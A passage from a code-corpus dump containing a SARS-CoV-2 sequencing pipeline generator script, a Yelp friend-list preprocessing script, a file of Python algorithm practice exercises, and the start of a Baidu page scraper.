%(sample)s\\n\"%{'freebayes':freebayes,'virusbed':virusbed,'Stat_dir':Stat_dir,'sample':sample,'ref':ref,'bgzip':bgzip,'tabix':tabix,'bcftools':bcftools,'freebayes_param':freebayes_param,'java':java,'bin':bin,'python3':python3,'python3_lib':python3_lib,'CutPrimer_dir':CutPrimer_dir})\r\n\t\t\tscript.write(\"%(bin)s/Consensus.pl %(Stat_dir)s/%(sample)s.depth %(ref)s %(consensus_depth)s %(Stat_dir)s/%(sample)s.reference1.fa %(Stat_dir)s/%(sample)s.vcf.gz\\n\"%{'bin':bin,'Stat_dir':Stat_dir,'sample':sample,'ref':ref,'consensus_depth':consensus_depth})\r\n\t\t\tscript.write(\"%(bcftools)s consensus -f %(Stat_dir)s/%(sample)s.reference1.fa -o %(Stat_dir)s/%(sample)s.Consensus.fa %(Stat_dir)s/%(sample)s.vcf.gz\\n\"%{'bcftools':bcftools,'Stat_dir':Stat_dir,'sample':sample})\r\n\t\t\tscript.write(\"sed -i \\\"s/MN908947.3 Wuhan seafood market pneumonia virus isolate Wuhan-Hu-1, complete genome/%(sample)s/g\\\" %(Stat_dir)s/%(sample)s.Consensus.fa\\n\"%{'Stat_dir':Stat_dir,'sample':sample})\r\n\t\t\tscript.write(\"zcat %(Stat_dir)s/%(sample)s.vcf.gz | grep -v '^#'|awk '{print $1\\\"\\\\t\\\"$2-1\\\"\\\\t\\\"$2\\\"\\\\t\\\"$4\\\"\\\\t\\\"$5}'| %(bedtools)s intersect -a - -b %(bed2)s -loj |cut -f 1,3-5,9 > %(Stat_dir)s/%(sample)s.vcf.anno\\n\"%{'Stat_dir':Stat_dir,'sample':sample,'bedtools':bedtools,'bed2':bed2})\r\n\t\t\t#script.write(\"rm %(Stat_dir)s/%(sample)s.draw.depth %(Stat_dir)s/%(sample)s.reference1.fa\\n\"%{'Stat_dir':Stat_dir,'sample':sample})\r\n\treturn\r\n\r\ndef GetReport(script,sample):\r\n\tsample_dir = result_dir + '/' + sample\r\n\tStat_dir = sample_dir + '/05.Stat'\r\n\tscript.write(\"%(python3)s %(bin)s/etiology/generate_rem_report.py %(Stat_dir)s %(sample)s \\n\"\\\r\n\t\t%{'bin':bin,'Stat_dir':Stat_dir,'sample':sample,'python3':python3})\r\n\treturn\r\n\r\ndef MainShell(script_file,step0shell,step1shell,step2shell,step3shell,step4shell,step5shell,step6shell,step7shell, watchdog_mem, watchdog_maxjob):\r\n\tscript = open(script_file,'w')\r\n\tscript.write('''echo \"start step0 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(watchdog)s --mem 1G --lines 1 --maxjob %(watchdog_maxjob)s %(stepshell)s && echo \"finish step0 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'watchdog':watchdog,'stepshell':step0shell, 'watchdog_maxjob': watchdog_maxjob})\r\n\tscript.write('''echo \"start step1 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(watchdog)s --mem 1G --lines 1 --maxjob %(watchdog_maxjob)s %(stepshell)s && echo \"finish step1 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'watchdog':watchdog,'stepshell':step1shell, 'watchdog_maxjob': watchdog_maxjob})\r\n\tscript.write('''echo \"start step2 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(watchdog)s --mem %(watchdog_mem)s --lines 2 --maxjob %(watchdog_maxjob)s %(stepshell)s && echo \"finish step2 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'watchdog':watchdog,'stepshell':step2shell, 'watchdog_mem': watchdog_mem, 'watchdog_maxjob': watchdog_maxjob})\r\n\tscript.write('''echo \"start step3 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(watchdog)s --mem 1G --lines 1 --maxjob %(watchdog_maxjob)s %(stepshell)s && echo \"finish step3 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'watchdog':watchdog,'stepshell':step3shell, 'watchdog_maxjob': watchdog_maxjob})\r\n\tscript.write('''echo \"start step4 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(watchdog)s --mem 1G --lines 1 --maxjob %(watchdog_maxjob)s %(stepshell)s && echo \"finish step4 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'watchdog':watchdog,'stepshell':step4shell, 'watchdog_maxjob': watchdog_maxjob})\r\n\tscript.write('''echo \"start step5 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(watchdog)s --mem 1G --lines 1 --maxjob %(watchdog_maxjob)s %(stepshell)s && echo \"finish step5 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'watchdog':watchdog,'stepshell':step5shell, 'watchdog_maxjob': watchdog_maxjob})\r\n\tscript.write('''echo \"start step6 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(watchdog)s --mem %(watchdog_mem)s --lines 13 --maxjob %(watchdog_maxjob)s %(stepshell)s && echo \"finish step6 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'watchdog':watchdog,'stepshell':step6shell, 'watchdog_mem': watchdog_mem, 'watchdog_maxjob': watchdog_maxjob})\r\n\tscript.write('''echo \"start step7 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(watchdog)s --mem 1G --lines 1 --maxjob %(watchdog_maxjob)s %(stepshell)s && echo \"finish step7 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'watchdog':watchdog,'stepshell':step7shell, 'watchdog_maxjob': watchdog_maxjob})\r\n\tscript.close()\r\n\treturn\r\n\r\ndef MainShell_qsubsge(script_file,step0shell,step1shell,step2shell,step3shell,step4shell,step5shell,step6shell,step7shell):\r\n\tscript = open(script_file,'w')\r\n\tscript.write('''echo \"start step0 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(qsubsge)s --queue %(queue)s --resource=\"vf=1G -P %(subproject)s -l num_proc=1\" --jobprefix step1 --lines 1 --reqsub --interval 5 --convert no -maxjob 500 %(stepshell)s && echo \"finish step0 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'qsubsge':qsubsge,'queue':queue,'subproject':subproject,'stepshell':step0shell})\r\n\tscript.write('''echo \"start step1 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(qsubsge)s --queue %(queue)s --resource=\"vf=1G -P %(subproject)s -l num_proc=1\" --jobprefix step1 --lines 1 --reqsub --interval 5 --convert no -maxjob 500 %(stepshell)s && echo \"finish step1 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'qsubsge':qsubsge,'queue':queue,'subproject':subproject,'stepshell':step1shell})\r\n\tscript.write('''echo \"start step2 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(qsubsge)s --queue %(queue)s --resource=\"vf=1G -P %(subproject)s -l num_proc=1\" --jobprefix step2 --lines 2 --reqsub --interval 5 --convert no -maxjob 500 %(stepshell)s && echo \"finish step2 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'qsubsge':qsubsge,'queue':queue,'subproject':subproject,'stepshell':step2shell})\r\n\tscript.write('''echo \"start step3 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(qsubsge)s --queue %(queue)s --resource=\"vf=1G -P %(subproject)s -l num_proc=1\" --jobprefix step3 --lines 1 --reqsub --interval 5 --convert no -maxjob 500 %(stepshell)s && echo \"finish step3 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'qsubsge':qsubsge,'queue':queue,'subproject':subproject,'stepshell':step3shell})\r\n\tscript.write('''echo \"start step4 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(qsubsge)s --queue %(queue)s --resource=\"vf=1G,p=2 -binding linear:2 -P %(subproject)s\" --jobprefix step4 --lines 1 --reqsub --interval 5 --convert no -maxjob 500 %(stepshell)s && echo \"finish step4 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'qsubsge':qsubsge,'queue':queue,'subproject':subproject,'stepshell':step4shell})\r\n\tscript.write('''echo \"start step5 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(qsubsge)s --queue %(queue)s --resource=\"vf=1G -P %(subproject)s -l num_proc=1\" --jobprefix step5 --lines 1 --reqsub --interval 5 --convert no -maxjob 500 %(stepshell)s && echo \"finish step5 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'qsubsge':qsubsge,'queue':queue,'subproject':subproject,'stepshell':step5shell})\r\n\tscript.write('''echo \"start step6 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(qsubsge)s --queue %(queue)s --resource=\"vf=6G -P %(subproject)s -l num_proc=1\" --jobprefix step6 --lines 13 --reqsub --interval 5 --convert no -maxjob 500 %(stepshell)s && echo \"finish step6 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'qsubsge':qsubsge,'queue':queue,'subproject':subproject,'stepshell':step6shell})\r\n\tscript.write('''echo \"start step7 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\" && perl %(qsubsge)s --queue %(queue)s --resource=\"vf=1G -P %(subproject)s -l num_proc=1\" --jobprefix step7 --lines 1 --reqsub --interval 5 --convert no -maxjob 500 %(stepshell)s && echo \"finish step7 at `date +'%%Y-%%m-%%d %%H:%%M:%%S %%z'`\"\\n'''\\\r\n\t\t%{'qsubsge':qsubsge,'queue':queue,'subproject':subproject,'stepshell':step7shell})\r\n\tscript.close()\r\n\treturn\r\n\r\nif __name__ == '__main__':\r\n\tif len(sys.argv) < 2:\r\n\t\tusage()\r\n\t\tsys.exit(1)\r\n\r\n\ttry:\r\n\t\topts,args = getopt.getopt(sys.argv[1:],\"hi:s:\")\r\n\texcept getopt.GetoptError:\r\n\t\tprint(\"ERROR: Param error\")\r\n\t\tsys.exit(1)\r\n\r\n\tsubprj = 'local'\r\n\r\n\tfor key, value in opts:\r\n\t\tif key == '-h':\r\n\t\t\tusage()\r\n\t\t\tsys.exit()\r\n\t\tif key == '-i':\r\n\t\t\tjsonfile = value\r\n\t\tif key == '-s':\r\n\t\t\tsubprj = value\r\n\tfile_json = open(jsonfile,'r')\r\n\tjsonobj = json.load(file_json)\r\n\tfile_json.close()\r\n\trootpath = os.path.dirname(sys.path[0])\r\n\tbin = rootpath + '/bin'\r\n\tlib = rootpath + '/lib'\r\n\tdatabase = rootpath + '/database'\r\n\ttools = rootpath + '/tools'\r\n\r\n\tfqtype_p = jsonobj[\"FqType\"]\r\n\tfqtype = fqtype_p[0:2]\r\n\t\t\r\n\twatchdog_mem = None\r\n\twatchdog_maxjob = None\r\n\ttry:\r\n\t\twatchdog_mem = jsonobj[\"watchdog_mem\"]\r\n\texcept:\r\n\t\twatchdog_mem = \"4G\"\r\n\ttry:\r\n\t\twatchdog_maxjob = jsonobj[\"watchdog_maxjob\"]\r\n\texcept:\r\n\t\twatchdog_maxjob = \"12\"\r\n\r\n\t# tools\r\n\ttry:\r\n\t\tSOAPnuke_param = jsonobj[\"SOAPnuke_param\"]\r\n\texcept:\r\n\t\tif fqtype == 'PE':\r\n\t\t\tSOAPnuke_param = '-l 10 -q 0.2 -n 0.05 -Q 2 -G -f AAGTCGGAGGCCAAGCGGTCTTAGGAAGACAA -r AAGTCGGATCGTAGCCATGTCGTTCTGTGAGCCAAGGAGTTG'\r\n\t\telif fqtype == 'SE':\r\n\t\t\tSOAPnuke_param = '-l 10 -q 0.2 -n 0.05 -Q 2 -G -f AAGTCGGAGGCCAAGCGGTCTTAGGAAGACAA'\r\n\t\telse:\r\n\t\t\tprint('ERROR: Invalid FqType in json file.')\r\n\t\t\tsys.exit(1)\r\n\ttry:\r\n\t\tfreebayes_param = jsonobj[\"freebayes_param\"]\r\n\texcept:\r\n\t\tfreebayes_param = '-H -p 1 -q 20 -m 60 --min-coverage 20 -F 0.6'\r\n\tjava = jsonobj[\"java\"]\r\n\tpython3 = jsonobj[\"python3\"]\r\n\tpython3_lib = jsonobj[\"python3_lib\"]\r\n\tRscript = jsonobj[\"Rscript\"]\r\n\tR_lib = jsonobj[\"R_lib\"]\r\n\tseqtk = jsonobj[\"seqtk\"]\r\n\tbwa = jsonobj[\"bwa\"]\r\n\tsamtools = jsonobj[\"samtools\"]\r\n\tfreebayes = jsonobj[\"freebayes\"]\r\n\tbcftools = jsonobj[\"bcftools\"]\r\n\tbgzip = jsonobj[\"bgzip\"]\r\n\ttabix = jsonobj[\"tabix\"]\r\n\tbedtools = jsonobj[\"bedtools\"]\r\n\tmosdepth = jsonobj[\"mosdepth\"]\r\n\tbamdst = jsonobj[\"bamdst\"]\r\n\tSOAPnuke = jsonobj[\"SOAPnuke\"]\r\n\r\n\tread_len = fqtype_p[2:]\r\n\tbarcode_file = jsonobj[\"sample_list\"]\r\n\tvirusbed = database + '/nCoV.virus.bed'\r\n\tvirusbed_cutprimer = database + '/nCoV.virus.cutprimer.bed'\r\n\tlambdabed = database + '/nCoV.lambda.bed'\r\n\tGAPDH_bed = database + '/nCoV.GAPDH.bed'\r\n\tvariantbed = database + '/nCoV.variant.bed'\r\n\tbed2 = database + '/wuhanRef.bed'\r\n\tref = database + '/nCov.fasta'\r\n\ttry:\r\n\t\tconsensus_depth = jsonobj[\"consensus_depth\"]\r\n\texcept:\r\n\t\tconsensus_depth = 10\r\n\twatchdog = bin+'/localsubmit/bin/watchDog_v1.0.pl'\r\n\tqsubsge = rootpath+'/bin/qsub-sge.pl'\r\n\ttry:\r\n\t\tqueue = jsonobj[\"queue\"]\r\n\t\tsubproject = jsonobj[\"project\"]\r\n\texcept:\r\n\t\tqueue = 'mgi.q'\r\n\t\tsubproject = 'P18Z18000N0394'\r\n\twork_dir = jsonobj[\"workdir\"]\r\n\ttry:\r\n\t\tprimer_version = jsonobj[\"primer_version\"]\r\n\texcept:\r\n\t\tprimer_version = '2.0'\r\n\t#primer_list = database + '/nCoV.primer.xls'\r\n\tprimer_list = '%s/nCoV.primer.%s.xls'%(database,primer_version)\r\n\ttry:\r\n\t\tSplitData = jsonobj[\"SplitData\"]\r\n\texcept:\r\n\t\tSplitData = ''\r\n\tresult_dir = os.path.abspath(work_dir)+\"/result\"\r\n\tshell_dir = os.path.abspath(work_dir)+\"/shell\"\r\n\tcreate_dirs(work_dir,result_dir,shell_dir)\r\n\r\n\tstep0shell = open(shell_dir+ '/step0.GenerateData.sh','w')\r\n\tstep1shell = open(shell_dir+ '/step1.filter.sh','w')\r\n\tstep2shell = open(shell_dir+ '/step2.bwa.sh','w')\r\n\tstep3shell = open(shell_dir+ '/step3.bamdst.sh','w')\r\n\tstep4shell = open(shell_dir+ '/step4.CutPrimer.sh','w')\r\n\tstep5shell = open(shell_dir+ '/step5.statistic.sh','w')\r\n\tstep6shell = open(shell_dir+ '/step6.AlignVariant.sh','w')\r\n\tstep7shell = open(shell_dir+ '/step7.GetReport.sh','w')\r\n\r\n\tfile_cut_primer_list = open('%s/CutPrimer.list'%(work_dir),'w')\r\n\r\n\tsample_dict = defaultdict(dict)\r\n\r\n\twith open(barcode_file,'r') as fb:\r\n\t\tfor line in fb:\r\n\t\t\tsample, barcode, raw_data_path = line.split()\r\n\t\t\tif sample not in sample_dict:\r\n\t\t\t\tif fqtype == 'PE':\r\n\t\t\t\t\tfile_cut_primer_list.write('%s\\t%s/%s/04.CutPrimer/%s_1.cutprimer.fq.gz\\t%s/%s/04.CutPrimer/%s_2.cutprimer.fq.gz\\n'%(sample,result_dir,sample,sample,result_dir,sample,sample))\r\n\t\t\t\telif fqtype == 'SE':\r\n\t\t\t\t\tfile_cut_primer_list.write('%s\\t%s/%s/04.CutPrimer/%s.cutprimer.fq.gz\\n'%(sample,result_dir,sample,sample))\r\n\t\t\tsample_dict[sample][barcode] = raw_data_path\r\n\tfile_cut_primer_list.close()\r\n\r\n\tfor key, value in sample_dict.items():\r\n\t\tsample = key\r\n\t\tCleanData(step1shell,sample,fqtype,SplitData)\r\n\t\t#bwaaln(step2shell,sample,fqtype,read_len)\r\n\t\tbwamem(step2shell,sample,fqtype)\r\n\t\tCovDep(step3shell,sample)\r\n\t\tCutPrimer(step4shell,fqtype_p,sample)\r\n\t\tGetReport(step7shell,sample)\r\n\r\n\tGenerateData(step0shell,sample_dict,fqtype)\r\n\tStatistics(step5shell,fqtype)\r\n\tAlignVariant(step6shell,fqtype,'%s/CutPrimer.list'%(work_dir),consensus_depth)\r\n\tstep0shell.close()\r\n\tstep1shell.close()\r\n\tstep2shell.close()\r\n\tstep3shell.close()\r\n\tstep4shell.close()\r\n\tstep5shell.close()\r\n\tstep6shell.close()\r\n\tstep7shell.close()\r\n\r\n\tfinalshell = work_dir + \"/main.sh\"\r\n\tif subprj == 'local':\r\n\t\tMainShell(finalshell,shell_dir+ '/step0.GenerateData.sh',shell_dir+ '/step1.filter.sh',shell_dir+ '/step2.bwa.sh',shell_dir+ '/step3.bamdst.sh',shell_dir+ '/step4.CutPrimer.sh',shell_dir+ '/step5.statistic.sh',shell_dir+ '/step6.AlignVariant.sh',shell_dir+ '/step7.GetReport.sh', watchdog_mem, watchdog_maxjob)\r\n\telif subprj == 'qsubsge':\r\n\t\tMainShell_qsubsge(finalshell,shell_dir+ '/step0.GenerateData.sh',shell_dir+ '/step1.filter.sh',shell_dir+ '/step2.bwa.sh',shell_dir+ '/step3.bamdst.sh',shell_dir+ '/step4.CutPrimer.sh',shell_dir+ '/step5.statistic.sh',shell_dir+ '/step6.AlignVariant.sh',shell_dir+ '/step7.GetReport.sh')\r\n\telse:\r\n\t\tprint('ERROR: invalid -s param,use local/qsubsge')\r\n\t\tsys.exit(1)\r\n\tcheck_call('/bin/bash %s/main.sh'%(work_dir),shell=True)\r\n\tcheck_call('%s %s/ATOPlex_Pipeline.Scripts.consensusSeqFiltering.py -i %s %s' % (python3, tools, jsonfile, jsonobj['consensus_para']), shell=True)\r\n","sub_path":"assets/Main_SARS-CoV-2_modified.py","file_name":"Main_SARS-CoV-2_modified.py","file_ext":"py","file_size_in_byte":28013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"111667427","text":"import sys\r\n# sys.path.append(\"/..\") \r\nsys.path.append(sys.path[0]+\"/..\")\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport json\r\nfrom tqdm import tqdm\r\nimport os\r\nimport pickle\r\n\r\ndf_path = \"/cluster/home/it_stu110/data/yelp/state/ON_reindex.csv\"\r\nsave_dir = \"/cluster/home/it_stu110/proj/baseline/SAMN/data/yelp_ON/\"\r\n\r\n\r\n\r\ndef get_friends(df,num_users):\r\n df_u = df[['user_id','friends']].drop_duplicates()\r\n df_u = df_u.reset_index(drop = True)\r\n df_u = df_u.fillna(\"\")\r\n # df_u['friends'] = df_u['friends'].apply(lambda x: [int(fri) for fri in x.split(', ')] if x!=\"\" else [])\r\n df_u.drop(columns = ['user_id'])\r\n friends_dict = df_u.drop(columns = ['user_id'])['friends'].apply(lambda x: [int(fri) for fri in str(x).split(\", \")] if str(x)!=\"\" else [] ).to_dict() \r\n maxlen = 0\r\n for idx in range(df_u.shape[0]):\r\n maxlen = max(maxlen,len(friends_dict[idx]))\r\n if ([int(fri) for fri in df_u.loc[idx,'friends'].split(', ')] if df_u.loc[idx,'friends']!=\"\" else []) != friends_dict[idx]:\r\n print(idx)\r\n for idx in tqdm(range(df_u.shape[0])):\r\n if len(friends_dict[idx]) len(longest_sub)):\n\t\t\t\t\tlongest_sub = current_sub\n\n\t\t\t\tstr1_idx += 1\n\t\t\telse:\n\t\t\t\tstr1_idx, current_sub = str1_start, \"\"\n\n\t\t\tstr2_idx += 1\n\n\t\tstr1_start += 1\n\n\n\treturn longest_sub\n\n\n# print(longest_common_substring(\"strginsadg here what a asd\", \"adg here wat here is\"))\n\ndef sum_rec(int_list):\n\tif(len(int_list) == 0):\n\t\treturn 0\n\telif(len(int_list) == 1):\n\t\treturn int_list[0]\n\n\treturn int_list[0] + sum_rec(int_list[1:])\n\n# print(sum_rec([1, 2, 3, 4, 5, 6]))\n\n\ndef fibs(n):\n\tif(n < 2):\n\t\treturn [0, 1][:(n + 1)]\n\telse:\n\t\tprevious_fibs = fibs(n - 1)\n\t\treturn previous_fibs + [sum(previous_fibs)]\n\n# print(fibs(8))\n\n\ndef is_palindrome(string):\n\tfor i in range(int(len(string) / 2)):\n\t\tif(string[i] != string[len(string) - i - 1]):\n\t\t\treturn False\n\n\treturn True\n\n# print(is_palindrome(\"banaadanab\"))\n\n\ndef is_valid_ip(string):\n\tnums = list(map(lambda num: int(num), string.split(\".\")))\n\tif(len(nums) != 4):\n\t\treturn False\n\telse:\n\t\treturn all(map(lambda num: (num >= 0 and num < 256), nums))\n\n# print(is_valid_ip(\"255.255.255.0.1\"))\n\n\nimport random\n\ndef shuffle(array):\n\tshuffled_array = array[:]\n\n\tfor idx in range(len(array) - 1):\n\t\trand_idx = random.randrange(0, len(array))\n\t\tshuffled_array[idx], shuffled_array[rand_idx] = shuffled_array[rand_idx], shuffled_array[idx]\n\n\treturn shuffled_array\n\n# print(shuffle([1, 2, 3, 4, 5, 6]))\n\n\nimport sys\n\ndef sum_from_file(filename):\n\tfile, total = open(filename, \"r\"), 0\n\tfor line in file.readlines():\n\t\tnum_string = line.strip()\n\t\tif(num_string == \"#\"):\n\t\t\tcontinue\n\t\telse:\n\t\t\ttotal += int(num_string)\n\n\treturn total\n\n# print(sum_from_file(\"nums.txt\"))\n\n\ndef my_map(my_lambda, array):\n\tresult = []\n\tfor el in array:\n\t\tresult.append(my_lambda(el))\n\n\treturn result\n\n# print(my_map(lambda x: x**2, [1, 2, 3, 4, 5]))\n\n\ndef folding_cipher(string):\n\tascii_indexes = range(ord('a'), ord('z') + 1)\n\talphabet = list(map(lambda idx: chr(idx), ascii_indexes))\n\treversed_alphabet = alphabet[:]\n\treversed_alphabet.reverse()\n\tcipher = {}\n\tcipher[' '] = ' '\n\n\tfor i in range(0, 26):\n\t\tcipher[alphabet[i]] = reversed_alphabet[i]\n\n\treturn ''.join(map(lambda letter: cipher[letter], list(string)))\n\n# print(folding_cipher('abcdef ghijklmnopqr stuvwxyz'))\n\n\ndef unique_subs(string):\n\tsubs_hash = {}\n\tfor i in range(0, len(string)):\n\t\tfor j in range(i + 1, len(string) + 1):\n\t\t\tsubs_hash[string[i:j]] = True\n\n\treturn list(subs_hash.keys())\n\n# print(unique_subs('abc'))\n\n\ndef largest_contiguous_subsum(int_array):\n\tbest_sum, current_sum = 0, 0\n\n\tfor num in int_array:\n\t\tcurrent_sum += num\n\t\tif(current_sum > best_sum):\n\t\t\tbest_sum = current_sum\n\t\telif(current_sum < 0):\n\t\t\tcurrent_sum = 0\n\n\treturn best_sum\n\n\n# print(largest_contiguous_subsum([1, 4, -4, -3, 5, 2, -1, 3, -2]))\n\n\ndef silly_years(year):\n\tyears, year_copy = [], year\n\t\n\twhile(len(years) < 10):\n\t\tyear_copy += 1\n\t\tstring_year = str(year_copy)\n\n\t\tif(int(string_year[0:2]) + int(string_year[2:]) == int(string_year[1:3])):\n\t\t\tyears.append(year_copy)\n\n\treturn years\n\n# print(silly_years(1978))\n\n\ndef pair_sum(nums_array, k):\n\tnums = set(nums_array)\n\tpairs = {}\n\n\tfor num in nums_array:\n\t\tif(k - num in nums):\n\t\t\tpair = min([num, k - num]), max([num, k - num])\n\t\t\tpairs[pair] = True\n\n\treturn list(map(lambda pair: list(pair), pairs.keys()))\n\n# print(pair_sum([3, 4, 67, 8, 5, 4, 3, 24, 0], 8))\n\n\ndef matrix_region_sum(matrix, top_left_coords, top_right_coords):\n\tsum = 0\n\n\tfor i in range(top_left_coords[0], top_right_coords[0] + 1):\n\t\tfor j in range(top_left_coords[1], top_right_coords[1] + 1):\n\t\t\tsum += matrix[i][j]\n\n\treturn sum\n\n# matrix = [[3, 3, 4, 5, 6], [1, 6, 3, 2, 5], [9, 6, 5, 9, 7], [8, 5, 0, 3, 0], [5, 5, 7, 3, 8]]\n# print(matrix_region_sum(matrix, (1, 2), (3, 3)))\n\n\ndef merge_sort(array):\n\tif(len(array) < 2):\n\t\treturn array\n\n\tmid = int(len(array) / 2)\n\tleft_array, right_array = array[:mid], array[mid:]\n\tsorted_left, sorted_right = merge_sort(left_array), merge_sort(right_array)\n\n\treturn merge(sorted_left, sorted_right)\n\ndef merge(left_array, right_array):\n\tmerged_array, i, j = [], 0, 0\n\n\twhile i < len(left_array) and j < len(right_array):\n\t\tif left_array[i] < right_array[j]:\n\t\t\tmerged_array.append(left_array[i])\n\t\t\ti += 1\n\t\telse:\n\t\t\tmerged_array.append(right_array[j])\n\t\t\tj += 1\n\n\treturn (merged_array + left_array[i:] + right_array[j:])\n\n# print(merge_sort([1, 5, 8, 4, 3, 2, 6, 3, 0, 1]))\n\n\ndef binary_search(sorted_array, val):\n\tif(not sorted_array):\n\t\treturn None\n\n\tidx = int(len(sorted_array) / 2)\n\n\tif val < sorted_array[idx]:\n\t\treturn binary_search(sorted_array[:idx], val)\n\telif val == sorted_array[idx]:\n\t\treturn idx\n\telse:\n\t\treturn binary_search(sorted_array[idx + 1:], val)\n\n# print(binary_search([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11], 3))\n\n[2, 3, 4, 5, 6]\n[1, 1, 1, 1, 1]\n[1, 2, 6, 24, 120]\n[1, 1, 1, 1, 1]\n[360, 120, 30, 6, 1]\n[360, 240, 180, 144, 120]\n\n\ndef productify(array):\n\tresult = list(map(lambda el: 1, array))\n\tdownward_list = list(map(lambda el: 1, array))\n\n\tfor i in range(1, len(array)):\n\t\tif i < 2:\n\t\t\tresult[i] = array[0]\n\t\telse:\n\t\t\tresult[i] = result[i - 1] * array[i - 1]\n\n\tfor j in range(len(array) - 2, -1, -1):\n\t\tif j == len(array) - 2:\n\t\t\tdownward_list[j] = array[j + 1]\n\t\telse:\n\t\t\tdownward_list[j] = downward_list[j + 1] * array[j + 1]\n\n\tfor k in range(0, len(array)):\n\t\tresult[k] = result[k] * downward_list[k]\n\n\treturn result\n\n# print(productify([2, 3, 4, 5, 6]))\n\ndef subsets(array):\n\tsets = [[]]\n\n\tfor el in array:\n\t\tnew_sets = list(map(lambda set: set + [el], sets))\n\t\tsets.extend(new_sets)\n\n\treturn sets\n\n# print(subsets(['a', 'b', 'c' ,'d', 'e', 'f' 'g', 'h', 'i', 'j']))\n\ndef update_palindrome_store(string, pals, i, best_len):\n\tnew_pals, deleted_pal_lengths = {}, []\n\n\tfor (length, indices) in pals.items():\n\t\tif length > best_len:\n\t\t\tbest_len = length\n\n\t\tif i == indices[1] + 1 and string[i] == string[i - length - 1] and i - length - 1 >= 0:\n\t\t\tnew_pals[length + 2] = [indices[0] - 1, indices[1] + 1]\n\t\telif i > indices[1] + 1 and length < best_len:\n\t\t\tdeleted_pal_lengths.append(length)\n\n\tfor length in deleted_pal_lengths:\n\t\tdel pals[length]\n\n\tpals.update(new_pals)\n\n\treturn best_len\n\ndef longest_palindromic_substring(string):\n\tbest_len, i, longest_pal, pals = 0, 1, \"\", {}\n\n\twhile i < len(string):\n\t\tbest_len = update_palindrome_store(string, pals, i, best_len)\n\n\t\tif string[i] == string[i - 1]:\n\t\t\tpals[2] = [i - 1, i]\n\t\telif i - 2 >= 0 and string[i] == string[i - 2]:\n\t\t\tpals[3] = pals[2] = [i - 2, i]\n\n\t\ti += 1\n\n\tif best_len > 0:\n\t\tleft, right = pals[best_len]\n\telse:\n\t\tleft, right = 0, 0\n\n\treturn string[left : right + 1]\n\n# print(longest_palindromic_substring(''))\n\nfrom collections import defaultdict\n\ndef fast_intersection(list1, list2):\n\tseen, final_list = defaultdict(lambda: 0), []\n\n\tfor el in list1:\n\t\tseen[el] += 1\n\n\tfor el in list2:\n\t\tif seen[el] > 0:\n\t\t\tseen[el] -= 1\n\t\t\tfinal_list.append(el)\n\n\treturn final_list\n\n# print(fast_intersection([1, 2, 3, 4, 5, 6, 6], [0, 2, 4, 5.5, 6, 6, 9]))\n\ndef common_subsets(list1, list2):\n\tintersection = fast_intersection(list1, list2)\n\n\treturn subsets(intersection)\n\n# print(common_subsets([1, 2, 3, 4, 5, 6, 6], [0, 2, 4, 5.5, 6, 6, 9]))\n","sub_path":"py/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":7803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"448082775","text":"#coding:utf8\n\n# import urllib\n# import re\nfrom bs4 import BeautifulSoup\nimport requests\nfrom selenium import webdriver\n\nclass Session:\n def __init__(self):\n self.session=requests.session()\n # session = requests.session()\n headers={'User-Agent':'Mozilla/5.0 (X11; U; Linux i686)Gecko/20071127 Firefox/2.0.0.11'}\n'''\n获取百度首条的页面\n'''\ndef get_html_baidufirst(url,req):\n soup = BeautifulSoup(req.session.get(url=url, headers=req.headers).content, \"lxml\")\n\n # 去除无关的标签\n [s.extract() for s in soup(['script', 'style','img','a'])]\n # print(soup.prettify())\n return soup\n'''\n获取百度知道的页面\n'''\ndef get_html_zhidao(url,req):\n soup = 